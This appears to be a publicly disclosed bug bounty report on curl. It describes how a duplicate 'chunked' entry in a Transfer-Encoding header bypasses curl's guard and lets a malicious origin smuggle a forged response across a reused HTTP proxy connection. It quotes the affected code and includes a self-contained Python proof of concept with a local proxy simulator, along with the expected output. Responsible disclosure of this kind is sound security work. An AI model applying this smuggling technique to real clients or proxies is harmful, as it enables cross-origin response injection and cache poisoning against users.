HexBrain

curl · Report #3795615

Duplicate chunked Transfer-Encoding lets a malicious origin smuggle a response across reused HTTP proxy connections

Informativestatus
mediumseverity
18upvotes
13 Jun 2026disclosed

How it was found

TL;DR

A malicious HTTP origin can send Transfer-Encoding: chunked, chunked, gzip through a reusable HTTP proxy connection to bypass curl's "chunked must be last" guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.

Summary:

curl accepts the malformed HTTP/1.1 response header Transfer-Encoding: chunked, chunked, gzip. curl already has a guard that rejects transfer codings listed after chunked, because chunked must be the final transfer coding, but a duplicate chunked entry bypasses that guard. In Curl_build_unencoding_stack(), the duplicate-chunked branch returns CURLE_OK for the entire header instead of ignoring only the duplicate token and continuing to parse the later gzip token. When curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection. An attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.

The attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.

Affected versions

This appears to affect curl/libcurl versions starting with 8.8.0. The vulnerable behavior was introduced by commit 886899143f; the first release containing that commit is 8.8.0.

I reproduced the issue on current repository HEAD 30c9c79cf8d2, built from https://github.com/curl/curl, on:

curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
Release-Date: [unreleased]
Protocols: file ftp http ipfs ipns ws
Features: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets

Platform:

Linux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

Relevant code paths:

/* lib/http.c */
result = Curl_build_unencoding_stack(data, v, TRUE);

/* lib/content_encoding.c */
cwt = find_unencode_writer(name, namelen, phase);
if(cwt && is_chunked && Curl_cwriter_get_by_type(data, cwt)) {
  CURL_TRC_WRITE(data, "ignoring duplicate 'chunked' decoder");
  return CURLE_OK;
}

if(is_transfer && !is_chunked &&
   Curl_cwriter_get_by_name(data, "chunked")) {
  failf(data, "Reject response due to 'chunked' not being the last "
        "Transfer-Encoding");
  return CURLE_BAD_CONTENT_ENCODING;
}

The early return CURLE_OK skips the later gzip token in Transfer-Encoding: chunked, chunked, gzip, so the existing "chunked not last" rejection is never reached.

Steps To Reproduce:

Run the following self-contained PoC from a curl source checkout after building src/curl. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to attacker.test followed by one request to victim.test in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin's response.

python3 <<'PY'
import os, shutil, socket, subprocess, threading, time

curl_bin = os.environ.get("CURL_BIN")
if not curl_bin:
    curl_bin = "./src/curl" if os.path.exists("./src/curl") else shutil.which("curl")
if not curl_bin:
    raise SystemExit("Set CURL_BIN or run from a curl checkout with ./src/curl")

def read_headers(conn):
    data = b""
    while b"\r\n\r\n" not in data:
        chunk = conn.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def run_case(te_value):
    listener = socket.socket()
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind(("127.0.0.1", 0))
    listener.listen(1)
    port = listener.getsockname()[1]
    seen_requests = []

    def proxy():
        conn, _ = listener.accept()
        conn.settimeout(5)
        try:
            seen_requests.append(read_headers(conn))
            conn.sendall(
                b"HTTP/1.1 200 OK\r\n"
                + b"Transfer-Encoding: " + te_value.encode("ascii") + b"\r\n"
                + b"Connection: keep-alive\r\n\r\n"
                + b"5\r\nHELLO\r\n0\r\n\r\n"
            )

            # Attacker-controlled bytes queued after the first response.
            time.sleep(0.2)
            conn.sendall(
                b"HTTP/1.1 200 OK\r\n"
                b"Content-Length: 9\r\n"
                b"Connection: keep-alive\r\n\r\n"
                b"SMUGGLED!"
            )

            try:
                seen_requests.append(read_headers(conn))
                time.sleep(0.2)
                conn.sendall(
                    b"HTTP/1.1 200 OK\r\n"
                    b"Content-Length: 7\r\n"
                    b"Connection: close\r\n\r\n"
                    b"BENIGN\n"
                )
            except Exception:
                pass
        finally:
            conn.close()
            listener.close()

    threading.Thread(target=proxy, daemon=True).start()
    proc = subprocess.run(
        [
            curl_bin,
            "-q",
            "--http1.1",
            "--proxy", f"http://127.0.0.1:{port}",
            "-sS",
            "-v",
            "http://attacker.test/one",
            "http://victim.test/two",
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        timeout=10,
    )
    return proc, seen_requests

print(subprocess.check_output([curl_bin, "--version"], text=True).splitlines()[0])

control, _ = run_case("chunked, gzip")
control_err = control.stderr.decode("latin1", "replace")
print("control_exit:", control.returncode)
print("control_rejected:", "A Transfer-Encoding (gzip) was listed after chunked" in control_err)

vuln, seen = run_case("chunked, chunked, gzip")
vuln_out = vuln.stdout.decode("latin1", "replace")
vuln_err = vuln.stderr.decode("latin1", "replace")
print("vulnerable_exit:", vuln.returncode)
print("vulnerable_stdout:", vuln_out)
print("second_request_reached_proxy:", len(seen) >= 2)
print("proxy_connection_reused:", "Reusing existing http: connection with proxy" in vuln_err)

if (
    "A Transfer-Encoding (gzip) was listed after chunked" in control_err
    and vuln.returncode == 0
    and vuln_out == "HELLOSMUGGLED!"
    and len(seen) >= 2
    and "Reusing existing http: connection with proxy" in vuln_err
):
    print("VULNERABLE: queued attacker bytes were parsed as the second origin response")
else:
    print("NOT REPRODUCED")
    print(vuln_err)
    raise SystemExit(1)
PY

Expected output on a vulnerable build:

curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
control_exit: 56
control_rejected: True
vulnerable_exit: 0
vulnerable_stdout: HELLOSMUGGLED!
second_request_reached_proxy: True
proxy_connection_reused: True
VULNERABLE: queued attacker bytes were parsed as the second origin response

The control case proves that curl correctly rejects Transfer-Encoding: chunked, gzip. The vulnerable case proves that adding a duplicate chunked token changes the result: curl accepts Transfer-Encoding: chunked, chunked, gzip, consumes HELLO as the first response body, then parses SMUGGLED! as the body of the second request to victim.test.

Impact

Summary:

An attacker who controls one ordinary HTTP origin can make curl/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher/proxy output, or incorrect trust decisions.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original